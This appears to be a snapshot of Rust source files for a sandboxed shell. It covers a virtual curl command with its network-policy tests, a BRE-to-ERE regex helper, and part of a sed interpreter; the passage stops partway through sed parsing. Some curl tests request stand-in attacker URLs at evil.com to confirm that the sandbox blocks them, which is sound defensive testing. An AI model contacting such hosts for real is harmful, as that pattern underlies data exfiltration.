Result<ureq::http::Response<ureq::Body>, ureq::Error> {\n    let has_body = method == \"POST\" || method == \"PUT\" || method == \"PATCH\";\n\n    if has_body {\n        let mut req = match method {\n            \"POST\" => agent.post(url),\n            \"PUT\" => agent.put(url),\n            \"PATCH\" => agent.patch(url),\n            _ => unreachable!(),\n        };\n        for (name, value) in &opts.headers {\n            req = req.header(name.as_str(), value.as_str());\n        }\n        if opts.data.is_some() {\n            let has_content_type = opts\n                .headers\n                .iter()\n                .any(|(n, _)| n.eq_ignore_ascii_case(\"content-type\"));\n            if !has_content_type {\n                req = req.header(\"Content-Type\", \"application/x-www-form-urlencoded\");\n            }\n        }\n        if let Some(ref data) = opts.data {\n            req.send(data.as_str())\n        } else {\n            req.send_empty()\n        }\n    } else {\n        let mut req = match method {\n            \"HEAD\" => agent.head(url),\n            \"OPTIONS\" => agent.options(url),\n            \"DELETE\" => agent.delete(url),\n            \"TRACE\" => agent.trace(url),\n            _ => agent.get(url), // GET and any other\n        };\n        for (name, value) in &opts.headers {\n            req = req.header(name.as_str(), value.as_str());\n        }\n        req.call()\n    }\n}\n\nfn is_redirect(status: u16) -> bool {\n    matches!(status, 301 | 302 | 303 | 307 | 308)\n}\n\nfn resolve_redirect_url(base_url: &str, location: &str) -> String {\n    // If location is absolute, use it directly; otherwise resolve relative to base\n    if location.starts_with(\"http://\") || location.starts_with(\"https://\") {\n        location.to_string()\n    } else if let Ok(base) = url::Url::parse(base_url) {\n        base.join(location)\n            .map(|u| u.to_string())\n            .unwrap_or_else(|_| location.to_string())\n    } else {\n        location.to_string()\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::VirtualCommand;\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::InMemoryFs;\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn test_ctx_with_policy(\n        policy: NetworkPolicy,\n    ) -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        (\n            Arc::new(InMemoryFs::new()),\n            HashMap::new(),\n            ExecutionLimits::default(),\n            policy,\n        )\n    }\n\n    fn make_ctx<'a>(\n        fs: &'a dyn crate::vfs::VirtualFs,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        np: &'a NetworkPolicy,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits,\n            network_policy: np,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    #[test]\n    fn network_disabled_returns_error() {\n        let (fs, env, limits, np) = test_ctx_with_policy(NetworkPolicy::default());\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result = CurlCommand.execute(&[\"https://example.com\".into()], &ctx);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"network access is disabled\"));\n    }\n\n    #[test]\n    fn url_not_allowed_returns_error() {\n        let policy = NetworkPolicy {\n            enabled: true,\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            ..Default::default()\n        };\n        let (fs, env, limits, np) = test_ctx_with_policy(policy);\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result = CurlCommand.execute(&[\"https://evil.com/data\".into()], &ctx);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"URL not allowed by network policy\"));\n    }\n\n    #[test]\n    fn method_not_allowed_returns_error() {\n        let policy = NetworkPolicy {\n            enabled: true,\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            ..Default::default() // only GET and POST allowed\n        };\n        let (fs, env, limits, np) = test_ctx_with_policy(policy);\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result = CurlCommand.execute(\n            &[\n                \"-X\".into(),\n                \"DELETE\".into(),\n                \"https://api.example.com/resource\".into(),\n            ],\n            &ctx,\n        );\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"HTTP method not allowed\"));\n    }\n\n    #[test]\n    fn no_url_returns_error() {\n        let (fs, env, limits, np) = test_ctx_with_policy(NetworkPolicy::default());\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result = CurlCommand.execute(&[], &ctx);\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"no URL specified\"));\n    }\n\n    #[test]\n    fn unknown_option_returns_error() {\n        let (fs, env, limits, np) = test_ctx_with_policy(NetworkPolicy::default());\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result = CurlCommand.execute(&[\"--bogus\".into()], &ctx);\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"unknown option\"));\n    }\n\n    #[test]\n    fn data_flag_defaults_method_to_post() {\n        // Policy check happens first, so we can verify method from error message\n        let policy = NetworkPolicy {\n            enabled: true,\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            allowed_methods: std::collections::HashSet::from([\"GET\".to_string()]),\n            ..Default::default()\n        };\n        let (fs, env, limits, np) = test_ctx_with_policy(policy);\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result = CurlCommand.execute(\n            &[\n                \"-d\".into(),\n                \"body\".into(),\n                \"https://api.example.com/post\".into(),\n            ],\n            &ctx,\n        );\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"POST\"));\n    }\n\n    #[test]\n    fn head_flag_sets_head_method() {\n        let policy = NetworkPolicy {\n            enabled: true,\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            allowed_methods: std::collections::HashSet::from([\"GET\".to_string()]),\n            ..Default::default()\n        };\n        let (fs, env, limits, np) = test_ctx_with_policy(policy);\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        let result =\n            CurlCommand.execute(&[\"-I\".into(), \"https://api.example.com/test\".into()], &ctx);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"HEAD\"));\n    }\n\n    #[test]\n    fn combined_short_flags_parsed() {\n        // -sSf should parse silent, show-error, fail\n        let policy = NetworkPolicy {\n            enabled: true,\n            allowed_url_prefixes: vec![\"https://api.example.com/\".to_string()],\n            allowed_methods: std::collections::HashSet::from([\"GET\".to_string()]),\n            ..Default::default()\n        };\n        let (fs, env, limits, np) = test_ctx_with_policy(policy);\n        let ctx = make_ctx(&*fs, &env, &limits, &np);\n        // -sSfL should be accepted without error (policy will reject the URL\n        // if something is wrong, not arg parsing)\n        let result = CurlCommand.execute(&[\"-sSfL\".into(), \"https://evil.com/\".into()], &ctx);\n        // Should fail on URL policy, not on arg parsing\n        assert!(result.stderr.contains(\"URL not allowed\"));\n    }\n\n    #[test]\n    fn parse_header_valid() {\n        let result = parse_header(\"Content-Type: application/json\");\n        assert_eq!(\n            result,\n            Some((\"Content-Type\".to_string(), \"application/json\".to_string()))\n        );\n    }\n\n    #[test]\n    fn parse_header_no_colon() {\n        assert_eq!(parse_header(\"NoColon\"), None);\n    }\n\n    #[test]\n    fn resolve_redirect_absolute() {\n        let result = resolve_redirect_url(\"https://example.com/old\", \"https://other.com/new\");\n        assert_eq!(result, \"https://other.com/new\");\n    }\n\n    #[test]\n    fn resolve_redirect_relative() {\n        let result = resolve_redirect_url(\"https://example.com/old/path\", \"/new/path\");\n        assert_eq!(result, \"https://example.com/new/path\");\n    }\n\n    #[test]\n    fn read_body_limited_enforces_max_size() {\n        let data = vec![0u8; 1000];\n        let mut cursor = std::io::Cursor::new(data);\n        let result = read_body_limited(&mut cursor, 500);\n        assert!(result.is_err());\n        assert!(result.unwrap_err().contains(\"exceeds maximum size\"));\n    }\n\n    #[test]\n    fn read_body_limited_allows_within_limit() {\n        let data = vec![42u8; 100];\n        let mut cursor = std::io::Cursor::new(data.clone());\n        let result = read_body_limited(&mut cursor, 200);\n        assert!(result.is_ok());\n        assert_eq!(result.unwrap(), data);\n    }\n\n    #[test]\n    fn is_redirect_codes() {\n        assert!(is_redirect(301));\n        assert!(is_redirect(302));\n        assert!(is_redirect(303));\n        assert!(is_redirect(307));\n        assert!(is_redirect(308));\n        assert!(!is_redirect(200));\n        assert!(!is_redirect(404));\n    }\n\n    #[test]\n    fn write_out_http_code() {\n        // Verify write_out format expansion works\n        let fmt = \"%{http_code}\";\n        let expanded = fmt.replace(\"%{http_code}\", \"200\");\n        assert_eq!(expanded, \"200\");\n    }\n\n    #[test]\n    fn format_response_headers_basic() {\n        let mut headers = ureq::http::HeaderMap::new();\n        headers.insert(\"content-type\", \"text/plain\".parse().unwrap());\n        let output = format_response_headers(200, &headers);\n        assert!(output.starts_with(\"HTTP/1.1 200\\r\\n\"));\n        assert!(output.contains(\"content-type: text/plain\\r\\n\"));\n        assert!(output.ends_with(\"\\r\\n\"));\n    }\n}\n","/home/user/src/commands/regex_util.rs":"//! Shared regex utilities for grep, sed, and other commands.\n//!\n//! Provides BRE-to-ERE translation since the `regex` crate uses ERE semantics natively.\n\n/// Convert a POSIX Basic Regular Expression (BRE) to an Extended Regular Expression (ERE).\n///\n/// BRE differences from ERE:\n/// - `\\(` and `\\)` are grouping (ERE uses bare `(` `)`)\n/// - `\\{` and `\\}` are interval (ERE uses bare `{` `}`)\n/// - `+`, `?`, `|` are literal in BRE (must be escaped as `\\+`, `\\?`, `\\|` for special meaning)\n///\n/// This function performs best-effort translation:\n/// - `\\(` → `(`, `\\)` → `)`, `\\{` → `{`, `\\}` → `}`\n/// - Bare `(`, `)`, `{`, `}` → escaped `\\(`, `\\)`, `\\{`, `\\}`\n/// - Bare `+`, `?`, `|` → escaped `\\+`, `\\?`, `\\|`\n/// - `\\+` → `+`, `\\?` → `?`, `\\|` → `|`\npub fn bre_to_ere(bre: &str) -> String {\n    let bytes = bre.as_bytes();\n    let mut ere = String::with_capacity(bre.len());\n    let mut i = 0;\n    let mut in_bracket = false;\n\n    while i < bytes.len() {\n        // Inside character classes, pass through verbatim\n        if in_bracket {\n            ere.push(bytes[i] as char);\n            if bytes[i] == b']' && i > 0 {\n                in_bracket = false;\n            }\n            i += 1;\n            continue;\n        }\n\n        // Detect start of character class\n        if bytes[i] == b'[' {\n            ere.push('[');\n            in_bracket = true;\n            i += 1;\n            // Handle `[^` and `[]` or `[^]` (] as first char in class is literal)\n            if i < bytes.len() && bytes[i] == b'^' {\n                ere.push('^');\n                i += 1;\n            }\n            if i < bytes.len() && bytes[i] == b']' {\n                ere.push(']');\n                i += 1;\n            }\n            continue;\n        }\n\n        if bytes[i] == b'\\\\' && i + 1 < bytes.len() {\n            match bytes[i + 1] {\n                b'(' => ere.push('('),\n                b')' => ere.push(')'),\n                b'{' => ere.push('{'),\n                b'}' => ere.push('}'),\n                b'+' => ere.push('+'),\n                b'?' => ere.push('?'),\n                b'|' => ere.push('|'),\n                other => {\n                    ere.push('\\\\');\n                    ere.push(other as char);\n                }\n            }\n            i += 2;\n        } else {\n            match bytes[i] {\n                b'(' => ere.push_str(\"\\\\(\"),\n                b')' => ere.push_str(\"\\\\)\"),\n                b'{' => ere.push_str(\"\\\\{\"),\n                b'}' => ere.push_str(\"\\\\}\"),\n                b'+' => ere.push_str(\"\\\\+\"),\n                b'?' => ere.push_str(\"\\\\?\"),\n                b'|' => ere.push_str(\"\\\\|\"),\n                other => ere.push(other as char),\n            }\n            i += 1;\n        }\n    }\n\n    ere\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn bre_groups_to_ere() {\n        assert_eq!(bre_to_ere(r\"\\(abc\\)\"), \"(abc)\");\n    }\n\n    #[test]\n    fn bre_intervals_to_ere() {\n        assert_eq!(bre_to_ere(r\"a\\{2,3\\}\"), \"a{2,3}\");\n    }\n\n    #[test]\n    fn bre_bare_parens_escaped() {\n        assert_eq!(bre_to_ere(\"(abc)\"), r\"\\(abc\\)\");\n    }\n\n    #[test]\n    fn bre_plus_question_literal_by_default() {\n        assert_eq!(bre_to_ere(\"a+b?c\"), r\"a\\+b\\?c\");\n    }\n\n    #[test]\n    fn bre_escaped_plus_becomes_quantifier() {\n        assert_eq!(bre_to_ere(r\"a\\+\"), \"a+\");\n    }\n\n    #[test]\n    fn bre_alternation() {\n        assert_eq!(bre_to_ere(r\"a\\|b\"), \"a|b\");\n    }\n\n    #[test]\n    fn bre_bare_pipe_escaped() {\n        assert_eq!(bre_to_ere(\"a|b\"), r\"a\\|b\");\n    }\n\n    #[test]\n    fn bre_mixed_escapes() {\n        assert_eq!(bre_to_ere(r\"\\(a\\+\\|b\\)\"), \"(a+|b)\");\n    }\n\n    #[test]\n    fn bre_regular_escapes_preserved() {\n        assert_eq!(bre_to_ere(r\"\\d\\w\\.\"), r\"\\d\\w\\.\");\n    }\n\n    #[test]\n    fn bre_empty_string() {\n        assert_eq!(bre_to_ere(\"\"), \"\");\n    }\n\n    #[test]\n    fn bre_trailing_backslash() {\n        // A trailing backslash is passed through literally\n        assert_eq!(bre_to_ere(\"abc\\\\\"), \"abc\\\\\");\n    }\n\n    #[test]\n    fn bre_character_class_unchanged() {\n        // Characters inside [...] are not transformed\n        assert_eq!(bre_to_ere(\"[+?|()]\"), \"[+?|()]\");\n    }\n\n    #[test]\n    fn bre_negated_character_class() {\n        assert_eq!(bre_to_ere(\"[^+?]\"), \"[^+?]\");\n    }\n\n    #[test]\n    fn bre_bracket_with_closing_first() {\n        // ] as first char in class is literal\n        assert_eq!(bre_to_ere(\"[]ab]\"), \"[]ab]\");\n    }\n}\n","/home/user/src/commands/sed.rs":"//! The `sed` stream editor command — a mini-interpreter for sed scripts.\n\nuse crate::commands::regex_util::bre_to_ere;\nuse crate::commands::{CommandContext, CommandMeta, CommandResult};\nuse regex::Regex;\nuse std::path::PathBuf;\n\n// ── Data model (4a) ──────────────────────────────────────────────────\n\n#[derive(Debug, Clone)]\nenum SedAddress {\n    LineNumber(usize),\n    Last,\n    Regex(Regex),\n    Step(usize, usize),\n}\n\n#[derive(Debug, Clone)]\nenum SedRange {\n    Single(SedAddress),\n    Range(SedAddress, SedAddress),\n}\n\n#[derive(Debug, Clone)]\nstruct AddressedCmd {\n    range: Option<SedRange>,\n    negated: bool,\n    cmd: SedCmd,\n}\n\n#[derive(Debug, Clone)]\nstruct SubstituteFlags {\n    global: bool,\n    case_insensitive: bool,\n    print: bool,\n    nth: Option<usize>,\n}\n\n#[derive(Debug, Clone)]\nenum SedCmd {\n    Substitute {\n        regex: Regex,\n        replacement: String,\n        flags: SubstituteFlags,\n    },\n    Delete,\n    Print,\n    Quit,\n    Append(String),\n    Insert(String),\n    Change(String),\n    Label(String),\n    Branch(Option<String>),\n    BranchIfSubstituted(Option<String>),\n    BranchIfNotSubstituted(Option<String>),\n    HoldGet,\n    HoldAppend,\n    PatternGet,\n    PatternAppend,\n    Exchange,\n    LineNumber,\n    Next,\n    NextAppend,\n    Transliterate(Vec<char>, Vec<char>),\n    CommandGroup(SedScript),\n    Noop,\n}\n\ntype SedScript = Vec<AddressedCmd>;\n\n// ── Options ──────────────────────────────────────────────────────────\n\nstruct SedOpts<'a> {\n    quiet: bool,\n    in_place: bool,\n    extended_regex: bool,\n    scripts: Vec<&'a str>,\n    script_files: Vec<&'a str>,\n    files: Vec<&'a str>,\n}\n\n// ── Command struct ───────────────────────────────────────────────────\n\npub struct SedCommand;\n\nstatic SED_META: CommandMeta = CommandMeta {\n    name: \"sed\",\n    synopsis: \"sed [-nEi] [-e SCRIPT] [-f FILE] [FILE ...]\",\n    description: \"Stream editor for filtering and transforming text.\",\n    options: &[\n        (\n            \"-n, --quiet\",\n            \"suppress automatic printing of pattern space\",\n        ),\n        (\"-i, --in-place\", \"edit files in place\"),\n        (\"-E, -r\", \"use extended regular expressions\"),\n        (\"-e SCRIPT\", \"add the script to the commands to be executed\"),\n        (\"-f FILE\", \"add the contents of FILE to the commands\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for SedCommand {\n    fn name(&self) -> &str {\n        \"sed\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&SED_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let opts = match parse_args(args) {\n            Ok(o) => o,\n            Err(e) => return e,\n        };\n\n        // Collect script text\n        let mut script_text = String::new();\n        for s in &opts.scripts {\n            if !script_text.is_empty() {\n                script_text.push('\\n');\n            }\n            script_text.push_str(s);\n        }\n        for sf in &opts.script_files {\n            let path = resolve_path(sf, ctx.cwd);\n            match ctx.fs.read_file(&path) {\n                Ok(bytes) => {\n                    if !script_text.is_empty() {\n                        script_text.push('\\n');\n                    }\n                    script_text.push_str(&String::from_utf8_lossy(&bytes));\n                }\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"sed: {}: {}\\n\", sf, e),\n                        exit_code: 2,\n                        ..Default::default()\n                    };\n                }\n            }\n        }\n\n        // Parse script\n        let script = match parse_script(&script_text, opts.extended_regex) {\n            Ok(s) => s,\n            Err(msg) => {\n                return CommandResult {\n                    stderr: format!(\"sed: {}\\n\", msg),\n                    exit_code: 2,\n                    ..Default::default()\n                };\n            }\n        };\n\n        // Collect labels for branching\n        let labels = collect_labels(&script);\n\n        if opts.in_place {\n            if opts.files.is_empty() {\n                return CommandResult {\n                    stderr: \"sed: no input files for in-place editing\\n\".to_string(),\n                    exit_code: 2,\n                    ..Default::default()\n                };\n            }\n            let mut stderr = String::new();\n            let mut has_errors = false;\n            for file in &opts.files {\n                let path = resolve_path(file, ctx.cwd);\n                let content = match ctx.fs.read_file(&path) {\n                    Ok(bytes) => String::from_utf8_lossy(&bytes).to_string(),\n                    Err(e) => {\n                        stderr.push_str(&format!(\"sed: {}: {}\\n\", file, e));\n                        has_errors = true;\n                        continue;\n                    }\n                };\n                let (result, sed_err) = execute_sed(\n                    &script,\n                    &labels,\n                    &content,\n                    opts.quiet,\n                    ctx.limits.max_loop_iterations,\n                    ctx.limits.max_output_size,\n                );\n                stderr.push_str(&sed_err);\n                if let Err(ref e) = ctx.fs.write_file(&path, result.as_bytes()) {\n                    stderr.push_str(&format!(\"sed: {}: {}\\n\", file, e));\n                    has_errors = true;\n                }\n            }\n            CommandResult {\n                stderr,\n                exit_code: if has_errors { 2 } else { 0 },\n                ..Default::default()\n            }\n        } else {\n            let mut stdout = String::new();\n            let mut stderr = String::new();\n            let mut exit_code = 0;\n\n            if opts.files.is_empty() {\n                let (out, err) = execute_sed(\n                    &script,\n                    &labels,\n                    ctx.stdin,\n                    opts.quiet,\n                    ctx.limits.max_loop_iterations,\n                    ctx.limits.max_output_size,\n                );\n                stdout = out;\n                stderr.push_str(&err);\n            } else {\n                for file in &opts.files {\n                    if *file == \"-\" {\n                        let (out, err) = execute_sed(\n                            &script,\n                            &labels,\n                            ctx.stdin,\n                            opts.quiet,\n                            ctx.limits.max_loop_iterations,\n                            ctx.limits.max_output_size,\n                        );\n                        stdout.push_str(&out);\n                        stderr.push_str(&err);\n                    } else {\n                        let path = resolve_path(file, ctx.cwd);\n                        match ctx.fs.read_file(&path) {\n                            Ok(bytes) => {\n                                let content = String::from_utf8_lossy(&bytes).to_string();\n                                let (out, err) = execute_sed(\n                                    &script,\n                                    &labels,\n                                    &content,\n                                    opts.quiet,\n                                    ctx.limits.max_loop_iterations,\n                                    ctx.limits.max_output_size,\n                                );\n                                stdout.push_str(&out);\n                                stderr.push_str(&err);\n                            }\n                            Err(e) => {\n                                stderr.push_str(&format!(\"sed: {}: {}\\n\", file, e));\n                                exit_code = 2;\n                            }\n                        }\n                    }\n                }\n            }\n\n            CommandResult {\n                stdout,\n                stderr,\n                exit_code,\n                stdout_bytes: None,\n            }\n        }\n    }\n}\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n// ── Argument parsing (4f) ────────────────────────────────────────────\n\nfn parse_args(args: &[String]) -> Result<SedOpts<'_>, CommandResult> {\n    let mut opts = SedOpts {\n        quiet: false,\n        in_place: false,\n        extended_regex: false,\n        scripts: Vec::new(),\n        script_files: Vec::new(),\n        files: Vec::new(),\n    };\n    let mut i = 0;\n    let mut opts_done = false;\n\n    while i < args.len() {\n        let arg = &args[i];\n        if opts_done || !arg.starts_with('-') || arg == \"-\" {\n            break;\n        }\n        match arg.as_str() {\n            \"--\" => {\n                opts_done = true;\n                i += 1;\n                continue;\n            }\n            \"-n\" | \"--quiet\" | \"--silent\" => opts.quiet = true,\n            \"-i\" | \"--in-place\" => opts.in_place = true,\n            \"-E\" | \"-r\" | \"--regexp-extended\" => opts.extended_regex = true,\n            \"-e\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"sed: option -e requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.scripts.push(&args[i]);\n            }\n            \"-f\" => {\n                i += 1;\n                if i >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"sed: option -f requires an argument\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                opts.script_files.push(&args[i]);\n            }\n            other => {\n                // Handle combined flags like -ne, -nE, etc.\n                if other.starts_with('-') && other.len() > 1 {\n                    let chars: Vec<char> = other[1..].chars().collect();\n                    let mut j = 0;\n                    while j < chars.len() {\n                        match chars[j] {\n                            'n' => opts.quiet = true,\n                            'i' => opts.in_place = true,\n                            'E' | 'r' => opts.extended_regex = true,\n                            'e' => {\n                                // Rest of this arg or next arg is the script\n                                if j + 1 < chars.len() {\n                                    let start = 1 + other[1..]\n                                        .char_indices()\n                                        .nth(j + 1)\n                                        .map(|(idx, _)| idx)\n                                        .unwrap_or(other.len() - 1);\n                                    opts.scripts.push(&args[i][start..]);\n                                } else {\n                                    i += 1;\n                                    if i >= args.len() {\n                                        return Err(CommandResult {\n                                            stderr: \"sed: option -e requires an argument\\n\"\n                                                .to_string(),\n                                            exit_code: 2,\n                                            ..Default::default()\n                                        });\n                                    }\n                                    opts.scripts.push(&args[i]);\n                                }\n                                j = chars.len(); // consumed\n                                continue;\n                            }\n                            'f' => {\n                                i += 1;\n                                if i >= args.len() {\n                                    return Err(CommandResult {\n                                        stderr: \"sed: option -f requires an argument\\n\".to_string(),\n                                        exit_code: 2,\n                                        ..Default::default()\n                                    });\n                                }\n                                opts.script_files.push(&args[i]);\n                                j = chars.len();\n                                continue;\n                            }\n                            _ => {\n                                return Err(CommandResult {\n                                    stderr: format!(\"sed: unknown option -- '{}'\\n\", chars[j]),\n                                    exit_code: 2,\n                                    ..Default::default()\n                                });\n                            }\n                        }\n                        j += 1;\n                    }\n                } else {\n                    break;\n                }\n            }\n        }\n        i += 1;\n    }\n\n    // Remaining args: first is script (if no -e/-f), rest are files\n    if opts.scripts.is_empty() && opts.script_files.is_empty() {\n        if i >= args.len() {\n            return Err(CommandResult {\n                stderr: \"sed: no script specified\\n\".to_string(),\n                exit_code: 2,\n                ..Default::default()\n            });\n        }\n        opts.scripts.push(&args[i]);\n        i += 1;\n    }\n    while i < args.len() {\n        opts.files.push(&args[i]);\n        i += 1;\n    }\n\n    Ok(opts)\n}\n\n// ── Script parsing (4b) ─────────────────────────────────────────────\n\nfn parse_script(text: &str, extended: bool) -> Result<SedScript, String> {\n    let mut chars: Vec<char> = text.chars().collect();\n    let mut pos = 0;\n    parse_commands(&mut chars, &mut pos, extended, false)\n}\n\nfn skip_whitespace(chars: &[char], pos: &mut usize) {\n    while *pos < chars.len() && (chars[*pos] == ' ' || chars[*pos] == '\\t') {\n        *pos += 1;\n    }\n}\n\nfn parse_commands(\n    chars: &mut Vec<char>,\n    pos: &mut usize,\n    extended: bool,\n    in_group: bool,\n) -> Result<SedScript, String> {\n    let mut commands: SedScript = Vec::new();\n\n    loop {\n        // Skip whitespace, semicolons, newlines\n        while *pos < chars.len()\n            && (chars[*pos] == ';'\n                || chars[*pos] == '\\n'\n                || chars[*pos] == ' '\n                || chars[*pos] == '\\t')\n        {\n            *pos += 1;\n        }\n        if *pos >= chars.len() {\n            break;\n        }\n        if in_group && chars[*pos] == '}' {\n            *pos += 1;\n            return Ok(commands);\n        }\n\n        // Parse address\n        let range = parse_range(chars, pos, extended)?;\n\n        skip_whitespace(chars, pos);\n\n        // Check for negation\n        let negated = if *pos < chars.len() && chars[*pos] == '!' {\n            *pos += 1;\n            skip_whitespace(chars, pos);\n            true\n        } else {\n            false\n        };\n\n        if *pos >= chars.len() {\n            if range.is_some() {\n                return Err(\"unexpected end of script after address\".to_string());\n            }\n            break;\n        }\n\n        // Parse command character\n        let cmd = parse_single_command(chars, pos, extended)?;\n\n        commands.push(AddressedCmd {\n            range,\n            negated,\n            cmd,\n        });\n    }\n\n    if in_group {\n        return Err(\"unterminated `{`\".to_string());\n    }\n    Ok(commands)\n}\n\nfn parse_range(\n    chars: &[char],\n    pos: &mut usize,\n    extended: bool,\n) -> Result<Option<SedRange>, String> {\n    let first = match parse_address(chars, pos, extended)? {\n        Some(addr) => addr,\n        None => return Ok(None),\n    };\n\n    skip_whitespace(chars, pos);\n\n    if *pos < chars.len() && chars[*pos] == ',' {\n        *pos += 1;\n        skip_whitespace(chars, pos);\n        let second = parse_address(chars, pos, extended)?\n            .ok_or_else(|| \"expected address after ','\".to_string())?;\n        Ok(Some(SedRange::Range(first, second)))\n    } else {\n        Ok(Some(SedRange::Single(first)))\n    }\n}\n\nfn parse_address(\n    chars: &[char],\n    pos: &mut usize,\n    extended: bool,\n) -> Result<Option<SedAddress>, String> {\n    if *pos >= chars.len() {\n        return Ok(None);\n    }\n\n    if chars[*pos] == '$' {\n        *pos += 1;\n        return Ok(Some(SedAddress::Last));\n    }\n\n    if chars[*pos] == '/' || chars[*pos] == '\\\\' {\n        let delim = if chars[*pos] == '\\\\' {\n            *pos += 1;\n            if *pos >= chars.len() {\n                return Err(\"expected delimiter after '\\\\'\".to_string());\n            }\n            let d = chars[*pos];\n            *pos += 1;\n            d\n        } else {\n            let d = chars[*pos];\n            *pos += 1;\n            d\n        };\n        let pattern = read_delimited(chars, pos, delim)?;\n        let ere = if extended {\n            pattern.clone()\n        } else {\n            bre_to_ere(&pattern)\n        };\n        let re = Regex::new(&ere).map_err(|e| format!(\"invalid regex '{}': {}\", pattern, e))?;\n        return Ok(Some(SedAddress::Regex(re)));\n    }\n\n    if chars[*pos].is_ascii_digit() {\n        let start = *pos;\n        while *pos < chars.len() && chars[*pos].is_ascii_digit() {\n            *pos += 1;\n        }\n        let num: usize = chars[start..*pos]\n            .iter()\n            .collect::<String>()\n            .parse()\n            .map_err(|_| \"invalid line number\".to_string())?;\n\n        // Check for step: N~S\n        if *pos < chars.len() && chars[*pos] == '~' {\n            *pos += 1;\n            let step_start = *pos;\n            while *pos < chars.len() && chars[*pos].is_ascii_digit() {\n                *pos += 1;\n            }\n            if *pos == step_start {\n                return Err(\"expected step number after '~'\".to_string());\n            }\n            let step: usize = chars[step_start..*pos]\n                .iter()\n                .collect::<String>()\n                .parse()\n                .map_err(|_| \"invalid step number\".to_string())?;\n            return Ok(Some(SedAddress::Step(num, step)));\n        }\n\n        return Ok(Some(SedAddress::LineNumber(num)));\n    }\n\n    Ok(None)\n}\n\nfn read_delimited(chars: &[char], pos: &mut usize, delim: char) -> Result<String, String> {\n    let mut result = String::new();\n    while *pos < chars.len() && chars[*pos] != delim {\n        if chars[*pos] == '\\\\' && *pos + 1 < chars.len() {\n            if chars[*pos + 1] == delim {\n                result.push(delim);\n                *pos += 2;\n            } else {\n                result.push('\\\\');\n                result.push(chars[*pos + 1]);\n                *pos += 2;\n            }\n        } else {\n            result.push(chars[*pos]);\n            *pos += 1;\n        }\n    }\n    if *pos < chars.len() && chars[*pos] == delim {\n        *pos += 1;\n    }\n    Ok(result)\n}\n\nfn parse_single_command(\n    chars: &mut Vec<char>,\n    pos: &mut usize,\n    extended: bool,\n) -> Result<SedCmd, String> {\n    if *pos >= chars.len() {\n        return Err(\"expected command\".to_string());\n    }\n\n    let ch = chars[*pos];\n    *pos += 1;\n\n    match ch {\n        'd' => Ok(SedCmd::Delete),\n        'p' => Ok(SedCmd::Print),\n        'q' => Ok(SedCmd::Quit),\n        'h' => Ok(SedCmd::HoldGet),\n        'H' => Ok(SedCmd::HoldAppend),\n        'g' => Ok(SedCmd::PatternGet),\n        'G' => Ok(SedCmd::PatternAppend),\n        'x' => Ok(SedCmd::Exchange),\n        '=' => Ok(SedCmd::LineNumber),\n        'n' => Ok(SedCmd::Next),\n        'N' => Ok(SedCmd::NextAppend),\n        's' => parse_substitute(chars, pos, extended),\n        'y' => parse_transliterate(chars, pos),\n        'a' => parse_text_command(chars, pos),\n        'i' => parse_text_command(chars, pos),\n        'c' => parse_text_command(chars, pos),\n        ':' => {\n            skip_whitespace(chars, pos);\n            let label = read_label(chars, pos);\n            if label.is_empty() {\n                return Err(\"missing label after ':'\".to_string());\n            }\n            Ok(SedCmd::Label(label))\n        }\n        'b' => {\n            skip_whitespace(chars, pos);\n            let label = read_label(chars, pos);\n            if label.is_empty() {\n                Ok(SedCmd::Branch(None))\n            } else {\n                Ok(SedCmd::Branch(Some(label)))\n            }\n        }\n        't' => {\n            skip_whitespace(chars, pos);\n            let label = read_label(chars, pos);\n            if label.is_empty() {\n                Ok(SedCmd::BranchIfSubstituted(None))\n            } else {\n                Ok(SedCmd::BranchIfSubstituted(Some(label)))\n            }\n        }\n        'T' => {\n            skip_whitespace(chars, pos);\n            let label = read_label(chars, pos);\n            if label.is_empty() {\n                Ok(SedCmd::BranchIfNotSubstituted(None))\n            } else {\n                Ok(SedCmd::BranchIfNotSubstituted(Some(label)))\n            